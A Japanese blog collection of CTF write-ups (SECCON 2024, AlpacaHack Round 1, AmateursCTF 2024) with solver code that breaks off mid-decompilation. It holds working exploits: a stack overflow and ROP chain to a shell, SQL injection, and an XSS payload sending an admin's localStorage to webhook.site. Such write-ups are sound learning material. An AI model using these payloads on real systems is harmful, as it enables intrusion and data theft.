from Crypto.Util.number import * from Crypto.Util.number import * import hashlib from Crypto.Cipher import AES n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927 e = 137 c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679 c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233 encyprted_flag = b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4" def gcd(a, b): while b: a, b = b, a % b return a.monic() a=0 b=0 for i in range(1023): a=0 b=0 for j in range(10): bit=(i>>j)&0b1 if bit: a+=0x01*0x100**j else: b+=0x01*0x100**j # print(hex(a)) # print(hex(b)) k=a*0xd-b*0xd R.<X> = PolynomialRing(Zmod(n)) g1 = X^e - c1 g2 = (X + k)^e-c2 t=gcd(g1,g2) if t.degree()==1: r=-t.coefficients()[0] key=long_to_bytes(Integer(r)) key = hashlib.sha256(key).digest() cipher = AES.new(key, AES.MODE_ECB) print(cipher.decrypt(encyprted_flag)) break # print(t) # print(long_to_bytes(t))
実行すると6秒くらいで復号できました.
~/seccon24/crypto/reiwa_rot13 7s ❯ sage solver.sage b'SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}'
SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}
以上
開催ありがとうございました.少ししか解けてないですが楽しかったです.
全分野のwarmupだけは解きたいなと思っていたのですが駄目でした.かなしいね. revのPackerはupxの解凍で動作が変わっていることに途中で気づいたのですが気力が残っていませんでした(言い訳 webのwarmupは,ユーザ名の保存場所が複数あることに気づけませんでした.(言い訳
全然成長できてなくて悲しい.
楽しかったです.ありがとうございました!
AlpacaHack Round 1 (Pwn) の Writeup
AlpacaHack Round 1 (Pwn)

22位だった
新しいCTFプラットフォームの記念すべき第一回目.
今回はpwnだけの出題だった.
たのしかったです.
echo
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUF_SIZE 0x100 /* Call this function! */ void win() { char *args[] = {"/bin/cat", "/flag.txt", NULL}; execve(args[0], args, NULL); exit(1); } int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; } void get_data(char *buf, unsigned size) { unsigned i; char c; // Input data until newline for (i = 0; i < size; i++) { if (fread(&c, 1, 1, stdin) != 1) break; if (c == '\n') break; buf[i] = c; } buf[i] = '\0'; } void echo() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data: "); get_data(buf, size); // Show data printf("Received: %s\n", buf); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); echo(); return 0; }
checksec
~/alpacahack/1/echo ❯ checksec echo [*] '/home/trimscash/alpacahack/1/echo/echo' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
セキュリティ機構はほぼない.
ソースコードを見るとわかるように,bufの長さは固定だが,bufに入力するバイト数はユーザーが指定できるのでバッファオーバーフローがありそう.
int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; }
get_sizeは以上のように定義されており,sizeに対してバリデートされてる.
absについて調べてみると
int バージョンの abs() の場合、使用できる最小の整数は INT_MIN+1 です。 (INT_MIN は、limits.h ヘッダー・ファイルに定義されているマクロです。) 例えば、z/OS® XL C/C++ コンパイラーの場合、INT_MIN+1 は -2147483648 です。 abs()、absf()、absl() - 整数絶対値の計算
とあるので,とりあえずINT_MINを入力してみる.すると,バリデーションを通過しBUF_SIZEの0x100よりも多く入力することができた.
あとは,NoCanary,NoPIEなのでリターンアドレスにwin関数のアドレスを入れるだけでいい.
from pwn import * binary_name = "./echo" remote_name = "34.170.146.252" remote_port = 17360 io = remote(remote_name, remote_port) # io = process(binary_name) # io = gdb.debug(binary_name, "b main\nc\n") elf = ELF("echo") INT_MIN = -2147483648 io.sendlineafter(b"Size: ", str(INT_MIN).encode()) BUF_SIZE = 0x100 win = elf.symbols["win"] payload = b"A" * BUF_SIZE + b"b" * 24 + p64(win) io.sendlineafter(b"Data: ", payload) io.interactive()
実行するとフラグが得られた
hexecho
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUF_SIZE 0x100 int get_size() { int size = 0; scanf("%d%*c", &size); return size; } void get_hex(char *buf, unsigned size) { for (unsigned i = 0; i < size; i++) scanf("%02hhx", buf + i); } void hexecho() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data (hex): "); get_hex(buf, size); // Show data printf("Received: "); for (int i = 0; i < size; i++) printf("%02hhx ", (unsigned char)buf[i]); putchar('\n'); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); hexecho(); return 0; }
checksec
~/alpacahack/1/hexecho ❯ checksec hexecho [*] '/home/trimscash/alpacahack/1/hexecho/hexecho' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000)
cannaryが追加された.また配布ファイルにlibc.so.6がある.
入力は,16進数で入力するようになった.
get_sizeを見てみると,sizeに制限はない.のでバッファオーバーフローがある.がcanaryと呼ばれるセキュリティ機構が有効になっているために単純には解けない.
get_hexに何かあるのだろう.見てみると以下のようになっている.
void get_hex(char *buf, unsigned size) { for (unsigned i = 0; i < size; i++) scanf("%02hhx", buf + i); }
特に問題はなさそうだが,ここでg~xなどの16進数の値として無効な文字を入力したらどうなるだろうか.
~/alpacahack/1/hexecho ❯ ./hexecho Size: 10 Data (hex): x Received: 00 80 16 00 00 00 00 00 0c 00
するとどうだろうか.それ以降の入力が受け付けられず,bufの初期値が見れている.これを利用すればlibcのbaseアドレスやcanaryがリークできる.
しかし入力はできないので,どうしようもない.
なぜこうなるのだろうか.それは多分,xなどの無効な文字を入力したとき,scanfは入力バッファを消費せずに失敗するからだろう.(適当)
get_hexではscanfによる読み取りが成功したかどうかの判定がないために,失敗してもループが回ってしまう.これにより,無効な文字以降の入力が受け付けられず初期値を見ることができる.
では,入力バッファを消費しscanfを失敗させることはできるだろうか.
適当にそれっぽい文字を使って検証してみると..-を使ったときにそれが実現できた.
~/alpacahack/1/hexecho 11s ❯ ./hexecho Size: 10 Data (hex): - - - a a a - - - - Received: 00 80 16 0a 0a 0a 00 00 0c 00
これを使うと,特定の場所は初期値のままにしておきながら,好きな場所に入力をすることができる.
これでいける.
手順としては以下の通り.
- libcのリークをする.
- mainに戻りもう一度入力できるようにする.
- libcを使ってROPする
ROPとはretアドレスに、ある命令とret命令がセットになった,ROP Gadgetと呼ばれるコード片のアドレスをセットし,リターンを繰り返し任意のコードを実行する手法.
調べたら多分出てくるので詳しくは任せる.
以下適当に書いたきたないsolverをそのまま載せる
from pwn import * binary_name = "./hexecho" remote_name = "34.170.146.252" remote_port = 51786 io = remote(remote_name, remote_port) # io = process(binary_name) # io = gdb.debug(binary_name, "b main\nc\n") LIBC = ELF("./libc.so.6") def addr_to_hexs(addr): payload_bytes = [] for i in range(8): hex_str = "0" * (16 - len(hex(addr)[2:])) + hex(addr)[2:] payload_bytes.append(hex_str[i * 2 : i * 2 + 2]) return payload_bytes[::-1] def addr_to_hexs_bytes(addr): payload_bytes = [] for i in range(8): hex_str = "0" * (16 - len(hex(addr)[2:])) + hex(addr)[2:] payload_bytes.append(hex_str[i * 2 : i * 2 + 2]) return "".join(payload_bytes[::-1]).encode() def hexs_str_to_addr(hexs): s = hexs.decode().split()[::-1] bs = "" for i in s: bs += i print(bs) return p64(int(bs, 16)) INT_MAX = 2147483647 BUF_SIZE = 0x100 io.sendlineafter(b"Size: ", str(BUF_SIZE + 0x30).encode()) main = 0x401327 print(addr_to_hexs(main)) payload = b"-\n" * (BUF_SIZE + 0x18) + addr_to_hexs_bytes(main) + b"x" io.sendlineafter(b"Data (hex): ", payload) t = io.readline() print(t) canary_offset = 0x28 * 0x3 canary = hexs_str_to_addr(t[-(canary_offset + 1) : -(canary_offset + 1) + 0x8 * 3]) libc_start_main_offset = 0x8 * 0x3 libc_start_main = hexs_str_to_addr( t[-(libc_start_main_offset + 1) : -(libc_start_main_offset + 1) + 0x8 * 3] ) libc_setbuffer_offset = 0x8 * 0x9 * 0x3 libc_setbuffer = hexs_str_to_addr( t[-(libc_setbuffer_offset + 1) : -(libc_setbuffer_offset + 1) + 0x8 * 3] ) # 1e:00f0│ 0x7fffffffd028 —▸ 0x7ffff7e1357f (setbuffer+191) ◂— test dword ptr [rbx], 0x8000 print(canary) print(libc_start_main) print(libc_setbuffer) libc_leak = u64(libc_setbuffer) - LIBC.symbols["setbuffer"] - 191 system = libc_leak + LIBC.symbols["system"] pop_rdi = libc_leak + 0x1B9695 # pop rdi; ret; bin_sh = libc_leak + 0x001D8678 ret = 0x401370 print(hex(libc_leak)) io.sendlineafter(b"Size: ", str(BUF_SIZE + 0x40).encode()) payload = b"-\n" * (BUF_SIZE + 0x18) payload += addr_to_hexs_bytes((ret)) payload += addr_to_hexs_bytes((pop_rdi)) payload += addr_to_hexs_bytes((bin_sh)) payload += addr_to_hexs_bytes((system)) payload += b"x" io.sendlineafter(b"Data (hex): ", payload) t = io.readline() io.interactive()
- 補足
libcのアドレスは,gdbでデバッグしてスタック確認し,そのアドレスを出力からリークして使おう. その際,問題の実行ファイルが使うライブラリを変更してデバッグする.以下のサイトを見るといい.
rop gadgetの探し方はいろいろあって以下のツールを使ったり,radare2とかを使うとよい.
github.com
以上
久しぶりにCTFに参加した気がする.
次の問題のdeckで詰まった.悲しい.力が不足しているので精進します.
alpacahackはatcoderのCTF版みたいなものだと思うので,これによりこの先人口が増えればいいなと思いました.作ってくれてありがとう!つよつよ方..!
AmateursCTF 2024のやつ
AmateursCTF 2024

一人さびしく参加して66位でした.楽しかったです.
denied [web]
const express = require('express') const app = express() const port = 3000 app.get('/', (req, res) => { if (req.method == "GET") return res.send("Bad!"); res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}") res.send('Winner!') }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) })
GETのメソッド以外でアクセスできればフラグがもらえる.
メソッドについて調べていたらHEADメソッドが見つかった.
HEADでアクセスするとフラグがもらえた.
curl -X "HEAD" http://denied.amt.rs/ -v
amateursCTF{s0_m@ny_0ptions...}
one-shot [web]
from flask import Flask, request, make_response import sqlite3 import os import re app = Flask(__name__) db = sqlite3.connect(":memory:", check_same_thread=False) flag = open("flag.txt").read() @app.route("/") def home(): return """ <h1>You have one shot.</h1> <form action="/new_session" method="POST"><input type="submit" value="New Session"></form> """ @app.route("/new_session", methods=["POST"]) def new_session(): id = os.urandom(8).hex() db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)") db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)") res = make_response(f""" <h2>Fragments scattered... Maybe a search will help?</h2> <form action="/search" method="POST"> <input type="hidden" name="id" value="{id}"> <input type="text" name="query" value=""> <input type="submit" value="Find"> </form> """) res.status = 201 return res @app.route("/search", methods=["POST"]) def search(): id = request.form["id"] if not re.match("[1234567890abcdef]{16}", id): return "invalid id" searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0] if searched: return "you've used your shot." db.execute(f"UPDATE table_{id} SET searched = 1") query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'") return f""" <h2>Your results:</h2> <ul> {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])} </ul> <h3>Ready to make your guess?</h3> <form action="/guess" method="POST"> <input type="hidden" name="id" value="{id}"> <input type="text" name="password" placehoder="Password"> <input type="submit" value="Guess"> </form> """ @app.route("/guess", methods=["POST"]) def guess(): id = request.form["id"] if not re.match("[1234567890abcdef]{16}", id): return "invalid id" result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone() if result != None: return flag db.execute(f"DROP TABLE table_{id}") return "You failed. <a href='/'>Go back</a>" @app.errorhandler(500) def ise(error): original = getattr(error, "original_exception", None) if type(original) == sqlite3.OperationalError and "no such table" in repr(original): return "that table is gone. <a href='/'>Go back</a>" return "Internal server error" if __name__ == "__main__": app.run(host="0.0.0.0", port=8080)
入力に対してのバリデーションは以下のように行っている.
if not re.match("[1234567890abcdef]{16}", id): return "invalid id"
これだと,マッチする文字列の後ろに,任意の文字列を追加したものもマッチする.
>>> not re.match("[1234567890abcdef]{16}","1234567890abcdef")
False
>>> not re.match("[1234567890abcdef]{16}","1234567890abcdef or")
False
これを用いてIDの後にSQL injectionのペイロードを渡すとフラグがもらえるはずだ.
solver.py
import requests import re url = "http://one-shot.amt.rs/" res = requests.post(url + "new_session") # print(res.text) m = re.search("[1234567890abcdef]{16}", res.text) id = m.group(0) print(id) payload = id + " WHERE 1 = 1 OR password = ? --" print(payload) res = requests.post(url + "guess", data={"id": payload, "password": ""}) print(res.text)
実行したらフラグが得られた.
❯ python3 solver.py 95fce9b1ad95f09f 95fce9b1ad95f09f WHERE 1 = 1 OR password = ? -- <p>amateursCTF{go_union_select_a_life}</p> <br /> <h3>alternative flags (these won't work) (also do not share):</h3> <p> amateursCTF{UNION_SELECT_life_FROM_grass} <br /> amateursCTF{why_are_you_endorsing_unions_big_corporations_are_better} <br /> amateursCTF{union_more_like_onion_*cronch*} <br /> amateursCTF{who_is_this_Niko_everyone_is_talking_about} </p>
amateursCTF{go_union_select_a_life}
agile-rut [web]

ページのソースを見ると以下の通り.
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>agile rut playground</title> <style> @font-face { font-family: 'Agile Rut'; src: url('agile-rut.otf'); } * { font-family: 'Agile Rut'; } textarea { font-size: 24px; } </style> </head> <body> <h1>Agile Rut</h1> <p>Check out my new font!! isn't it so cool!</p> <textarea cols="100" rows="100"></textarea> </body> </html>
静的なサイトで,あるフォントのテストページのよう.
フォントをダウンロードしてみてみる.フォント系の問題は大概,リガチャ.
webって感じはしない.
fontforgeで見てみるか,fonttoolsを使う.
fontforgeはGUIで使いにくかったので,fonttoolsを使った.
pip install fonttools ttx agile-rut.otf
実行すると,agile-rut.ttxというファイルが出力される.
出力されたファイルを見ていると
<Ligature components="m,a,t,e,u,r,s,c,t,f,braceleft,zero,k,underscore,b,u,t,underscore,one,underscore,d,o,n,t,underscore,l,i,k,e,underscore,t,h,e,underscore,j,b,m,o,n,zero,underscore,equal,equal,equal,braceright" glyph="lig.j.u.s.t.a.n.a.m.e.o.k.xxxxxxxxx.xxxx.x.xxxxxxxxxx.x.x.x.xxxxxxxxxx.xxx.xxxxxxxxxx.x.x.x.x.xxxxxxxxxx.x.x.x.x.xxxxxxxxxx.x.x.x.xxxxxxxxxx.x.x.x.x.x.xxxx.xxxxxxxxxx.xxxxx.xxxxx.xxxxx.xxxxxxxxxx"/>
フラグっぽい
m,a,t,e,u,r,s,c,t,f,braceleft,zero,k,underscore,b,u,t,underscore,one,underscore,d,o,n,t,underscore,l,i,k,e,underscore,t,h,e,underscore,j,b,m,o,n,zero,underscore,equal,equal,equal,braceright
やる.根性か,スクリプトか.chatGPTにやらせた.

amateursctf{0k_but_1_dont_like_the_jbmon0_===}
sculpture [web]
index.html
<html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js" type="text/javascript"></script> <script src="https://skulpt.org/js/skulpt.min.js" type="text/javascript"></script> <script src="https://skulpt.org/js/skulpt-stdlib.js" type="text/javascript"></script> </head> <body> <script type="text/javascript"> // output functions are configurable. This one just appends some text // to a pre element. function outf(text) { var mypre = document.getElementById("output"); mypre.innerHTML = mypre.innerHTML + text; } function builtinRead(x) { if (Sk.builtinFiles === undefined || Sk.builtinFiles["files"][x] === undefined) throw "File not found: '" + x + "'"; return Sk.builtinFiles["files"][x]; } // Here's everything you need to run a python program in skulpt // grab the code from your textarea // get a reference to your pre element for output // configure the output function // call Sk.importMainWithBody() function runit() { var prog = document.getElementById("yourcode").value; var mypre = document.getElementById("output"); mypre.innerHTML = ''; Sk.pre = "output"; Sk.configure({output:outf, read:builtinRead}); (Sk.TurtleGraphics || (Sk.TurtleGraphics = {})).target = 'mycanvas'; var myPromise = Sk.misceval.asyncToPromise(function() { return Sk.importMainWithBody("<stdin>", false, prog, true); }); myPromise.then(function(mod) { console.log('success'); }, function(err) { console.log(err.toString()); }); } document.addEventListener("DOMContentLoaded",function(ev){ document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code")); runit(); }); </script> <h3>Try This</h3> <form> <textarea id="yourcode" cols="40" rows="10">import turtle t = turtle.Turtle() t.forward(100) print("Hello World") </textarea><br /> <button type="button" onclick="runit()">Run</button> </form> <pre id="output" ></pre> <!-- If you want turtle graphics include a canvas --> <div id="mycanvas"></div> </body> </html>
admin-bot-excerpt.js
// bot powered by the redpwn admin bot ofc ['sculpture', { name: 'sculpture', timeout: 10000, handler: async (url, ctx) => { const page = await ctx.newPage() console.log(await page.browser().version()); await page.goto("https://amateurs-ctf-2024-sculpture-challenge.pages.dev/", { timeout: 3000, waitUntil: 'domcontentloaded' }) await sleep(1000); await page.evaluate(() => { localStorage.setItem("flag", "amateursCTF{fak3_flag}") }) await sleep(1000); console.log("going to " + url) await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' }) await sleep(1000) }, urlRegex: /^https:\/\/amateurs-ctf-2024-sculpture-challenge\.pages\.dev/, }]
Adminに,XSSが生じるペイロードでページにアクセスしてもらい,adminのlocalStorageの値を取得する問題.
index.htmlを見てみると,skulptという,クライアント側でpythonを実行できるスクリプトが読み込まれている.
<script src="https://skulpt.org/js/skulpt.min.js" type="text/javascript"></script> <script src="https://skulpt.org/js/skulpt-stdlib.js" type="text/javascript"></script>
pythonプログラムのアウトプットは以下のように出力される.
Sk.configure({output:outf, read:builtinRead});
function outf(text) { var mypre = document.getElementById("output"); mypre.innerHTML = mypre.innerHTML + text; }
outputをそのままinnerHTMLに入れているのでXSSが発生する.
さらに,codeパラメータにbase64エンコードされたコードがセットされている場合,以下の場所で,アクセスした時点でコードが実行される.
document.addEventListener("DOMContentLoaded",function(ev){
document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code"));
runit();
});
特に制約はないので,webhooksiteとかにlocalstorageを投げるXSSするだけ.
以下payload.py
print("<h1>a</h1>") code = """ let flag = localStorage.getItem("flag"); fetch("https://webhook.site/~~~~~~~/?flag="+flag).then((res)=>{res.text()}).then((t)=>{console.log(t)}) """ print("<img src=x onerror='" + code + "'>")
solver.py
import requests import urllib.parse import base64 url = "https://amateurs-ctf-2024-sculpture-challenge.pages.dev/" f = open("payload.py") pycode = f.read() b = base64.b64encode(pycode.encode()) payload = url + "?code=" + urllib.parse.quote(b.decode()) print(payload) admin_url = "http://admin-bot.amt.rs/sculpture" res = requests.post(admin_url, data={"url": payload}) print(res.text)
実行するとフラグがもらえた.

amateursCTF{i_l0v3_wh3n_y0u_can_imp0rt_xss_v3ct0r}
typo [rev]
main.py
import random as RrRrRrrrRrRRrrRRrRRrrRr RrRrRrrrRrRRrrRRrRRrRrr = int('1665663c', 20) RrRrRrrrRrRRrrRRrRRrrRr.seed(RrRrRrrrRrRRrrRRrRRrRrr) arRRrrRRrRRrRRRrRrRRrRr = bytearray(open('flag.txt', 'rb').read()) arRRrrRrrRRrRRRrRrRRrRr = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr' arRRrrRRrRRrRrRrRrRRrRr = [ b'arRRrrRRrRRrRRrRr', b'aRrRrrRRrRr', b'arRRrrRRrRRrRr', b'arRRrRrRRrRr', b'arRRrRRrRrrRRrRR' b'arRRrrRRrRRRrRRrRr', b'arRRrrRRrRRRrRr', b'arRRrrRRrRRRrRr' b'arRrRrRrRRRrrRrrrR', ] arRRRrRRrRRrRRRrRrRRrRr = lambda aRrRrRrrrRrRRrrRRrRrrRr: bytearray([arRrrrRRrRRrRRRrRrRrrRr + 1 for arRrrrRRrRRrRRRrRrRrrRr in aRrRrRrrrRrRRrrRRrRrrRr]) arRRrrRRrRRrRRRrRrRrrRr = lambda aRrRrRrrrRrRRrrRRrRrrRr: bytearray([arRrrrRRrRRrRRRrRrRrrRr - 1 for arRrrrRRrRRrRRRrRrRrrRr in aRrRrRrrrRrRRrrRRrRrrRr]) def arRRrrRRrRRrRrRRrRrrRrRr(hex): for id in range(0, len(hex) - 1, 2): hex[id], hex[id + 1] = hex[id + 1], hex[id] for list in range(1, len(hex) - 1, 2): hex[list], hex[list + 1] = hex[list + 1], hex[list] return hex arRRRRRRrRRrRRRrRrRrrRr = [arRRrrRRrRRrRrRRrRrrRrRr, arRRRrRRrRRrRRRrRrRRrRr, arRRrrRRrRRrRRRrRrRrrRr] arRRRRRRrRRrRRRrRrRrrRr = [RrRrRrrrRrRRrrRRrRRrrRr.choice(arRRRRRRrRRrRRRrRrRrrRr) for arRrrrRRrRRrRRRrRrRrrRr in range(128)] def RrRrRrrrRrRRrrRRrRRrrRr(arr, ar): for r in ar: arr = arRRRRRRrRRrRRRrRrRrrRr[r](arr) return arr def arRRrrRRrRRrRrRRrRrrRrRr(arr, ar): ar = int(ar.hex(), 17) for r in arr: ar += int(r, 35) return bytes.fromhex(hex(ar)[2:]) arrRRrrrrRRrRRRrRrRRRRr = RrRrRrrrRrRRrrRRrRRrrRr(arRRrrRRrRRrRRRrRrRRrRr, arRRrrRrrRRrRRRrRrRRrRr.encode()) arrRRrrrrRRrRRRrRrRRRRr = arRRrrRRrRRrRrRRrRrrRrRr(arRRrrRRrRRrRrRrRrRRrRr, arrRRrrrrRRrRRRrRrRRRRr) print(arrRRrrrrRRrRRRrRrRRRRr.hex())
output.txt
5915f8ba06db0a50aa2f3eee4baef82e70be1a9ac80cb59e5b9cb15a15a7f7246604a5e456ad5324167411480f893f97e3
タイポどころではない..
とりあえず脳筋ごり押しで,変数名等を置換していった.
import random as random seed = int("1665663c", 20) random.seed(seed) flag = bytearray(open("flag.txt", "rb").read()) regex_ = ( "\r" r"\r" "r" "\\r" r"\\r\r" r"r" "r" "\\r" r"r\r" r"r\\r" "r" r"r" "r" "\\r" r"\\r\r" r"r" "r" "\\r" r"rr\r" "\r" "r" "r\\" r"\r" "\r" "r\\\r" r"r\r" "\rr" ) bytes_table = [ b"arRRrrRRrRRrRRrRr", b"aRrRrrRRrRr", b"arRRrrRRrRRrRr", b"arRRrRrRRrRr", b"arRRrRRrRrrRRrRR" b"arRRrrRRrRRRrRRrRr", b"arRRrrRRrRRRrRr", b"arRRrrRRrRRRrRr" b"arRrRrRrRRRrrRrrrR", ] plus_one = lambda x: bytearray([i + 1 for i in x]) minus_one = lambda x: bytearray([i - 1 for i in x]) def exchange_nibble(hex): for id in range(0, len(hex) - 1, 2): hex[id], hex[id + 1] = hex[id + 1], hex[id] for list in range(1, len(hex) - 1, 2): hex[list], hex[list + 1] = hex[list + 1], hex[list] return hex func_table = [ exchange_nibble, plus_one, minus_one, ] func_table = [random.choice(func_table) for i in range(128)] def random_actions(arr, ar): for r in ar: arr = func_table[r](arr) return arr def crypto(arr, ar): ar = int(ar.hex(), 17) for r in arr: ar += int(r, 35) return bytes.fromhex(hex(ar)[2:]) c = random_actions(flag, regex_.encode()) c = crypto(bytes_table, c) print(c.hex()) print(regex_.encode())
あとはこの逆の手順で復号するプログラムを書く.
import random as random seed = int("1665663c", 20) random.seed(seed) regex_ = ( "\r" r"\r" "r" "\\r" r"\\r\r" r"r" "r" "\\r" r"r\r" r"r\\r" "r" r"r" "r" "\\r" r"\\r\r" r"r" "r" "\\r" r"rr\r" "\r" "r" "r\\" r"\r" "\r" "r\\\r" r"r\r" "\rr" ) bytes_table = [ b"arRRrrRRrRRrRRrRr", b"aRrRrrRRrRr", b"arRRrrRRrRRrRr", b"arRRrRrRRrRr", b"arRRrRRrRrrRRrRR" b"arRRrrRRrRRRrRRrRr", b"arRRrrRRrRRRrRr", b"arRRrrRRrRRRrRr" b"arRrRrRrRRRrrRrrrR", ] plus_one = lambda x: bytearray([i + 1 for i in x]) minus_one = lambda x: bytearray([i - 1 for i in x]) def exchange_nibble(hex): for id in range(0, len(hex) - 1, 2): hex[id], hex[id + 1] = hex[id + 1], hex[id] for list in range(1, len(hex) - 1, 2): hex[list], hex[list + 1] = hex[list + 1], hex[list] return hex func_table = [ exchange_nibble, plus_one, minus_one, ] # func_table = [random.choice(func_table) for i in range(128)] def random_actions(arr, ar): for r in ar: arr = func_table[r](arr) return arr def crypto(arr, ar): ar = int(ar.hex(), 17) for r in arr: ar += int(r, 35) return bytes.fromhex(hex(ar)[2:]) choosen = [0, 1, 2] choosen = [random.choice(choosen) for i in range(128)] def exchange_nibble_rev(hex): for list in range(1, len(hex) - 1, 2): hex[list], hex[list + 1] = hex[list + 1], hex[list] for id in range(0, len(hex) - 1, 2): hex[id], hex[id + 1] = hex[id + 1], hex[id] return hex rev_func_table = [ exchange_nibble_rev, minus_one, plus_one, ] rev_func_table = [rev_func_table[i] for i in choosen] def random_actions_rev(arr, key): for r in key[::-1]: arr = rev_func_table[r](arr) return arr def to_base_n(number, base): # 基数が10より大きい場合、17進数用にaからgの文字列を使います digits = "0123456789abcdefghijklmnopq" result = "" while number > 0: # 17で割り、商と余りを求める remainder = number % base quotient = number // base # 余りを対応する文字に変換して結果の先頭に追加 result = digits[remainder] + result # 商を次のループの入力に設定 number = quotient # 結果を返す return result def decrypto(bytes_table, bytes_var): # x = int(bytes_var.hex(), 17) x = int(bytes_var.hex(), 16) for r in bytes_table: x -= int(r, 35) # print(hex(x)[2:]) a = to_base_n(x, 17) print(a) return bytes.fromhex(a) c = "5915f8ba06db0a50aa2f3eee4baef82e70be1a9ac80cb59e5b9cb15a15a7f7246604a5e456ad5324167411480f893f97e3" c = bytes.fromhex(c) m = decrypto(bytes_table, c) m = random_actions_rev(m, regex_.encode()) print(m) print(m[::-1])
amateursCTF{4t_l3ast_th15_fl4g_isn7_misspelll3d}'
rev全然できなかった.(
bearsay [pwn]

❯ checksec chal [*] '/home/trimscash/amateurs/pwn/bearsay/chal' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./lib'
ghidraでデコンパイル.
void rep(char param_1,int param_2) { long lVar1; long in_FS_OFFSET; int local_14; lVar1 = *(long *)(in_FS_OFFSET + 0x28); for (local_14 = 0; local_14 < param_2; local_14 = local_14 + 1) { putchar((int)param_1); } if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } void box(char param_1,char param_2,int param_3,char *param_4) { long lVar1; int iVar2; size_t sVar3; long in_FS_OFFSET; int local_1c; int local_18; lVar1 = *(long *)(in_FS_OFFSET + 0x28); sVar3 = strlen(param_4); iVar2 = (int)sVar3; rep((int)param_2,iVar2 + 4); putchar(10); for (local_1c = 0; local_1c < param_3; local_1c = local_1c + 1) { putchar((int)param_1); rep(0x20,iVar2 + 2); putchar((int)param_1); putchar(10); } putchar((int)param_1); putchar(0x20); printf(param_4); putchar(0x20); putchar((int)param_1); putchar(10); for (local_18 = 0; local_18 < param_3; local_18 = local_18 + 1) { putchar((int)param_1); rep(0x20,iVar2 + 2); putchar((int)param_1); putchar(10); } rep((int)param_2,iVar2 + 4); putchar(10); if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } /* WARNING: Globals starting with '_' overlap smaller symbols at the same address */ void main(void) { undefined8 uVar1; uint uVar2; int iVar3; char *pcVar4; FILE *__stream; size_t sVar5; long in_FS_OFFSET; char local_2018; char local_2017; char local_2016; char local_1018 [4104]; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); setbuf(_stdout,(char *)0x0); uVar1 = rdtsc(); srand((uint)uVar1); while( true ) { while( true ) { while( true ) { printf(&DAT_00102044); fgets(&local_2018,0x1000,_stdin); pcVar4 = strchr(&local_2018,10); if (pcVar4 != (char *)0x0) { *pcVar4 = '\0'; } if (local_2018 != '\0') break; uVar2 = rand(); printf("confused bear %s\n",*(undefined8 *)(bears + (ulong)(uVar2 & 3) * 8)); } iVar3 = strcmp("flag",&local_2018); if (iVar3 != 0) break; if (is_mother_bear != 0xbad0bad) { uVar2 = rand(); printf("ANGRY BEAR %s\n",*(undefined8 *)(bears + (ulong)(uVar2 & 3) * 8)); /* WARNING: Subroutine does not return */ exit(1); } __stream = fopen("./flag.txt","r"); fgets(local_1018,0x1000,__stream); fclose(__stream); box(0x7c,0x2d,2,local_1018); puts("|\n|\n|"); uVar2 = rand(); puts(*(char **)(bears + (ulong)(uVar2 & 3) * 8)); } iVar3 = strcmp("leave",&local_2018); if (iVar3 == 0) { uVar2 = rand(); printf("lonely bear... %s\n",*(undefined8 *)(bears + (ulong)(uVar2 & 3) * 8)); /* WARNING: Subroutine does 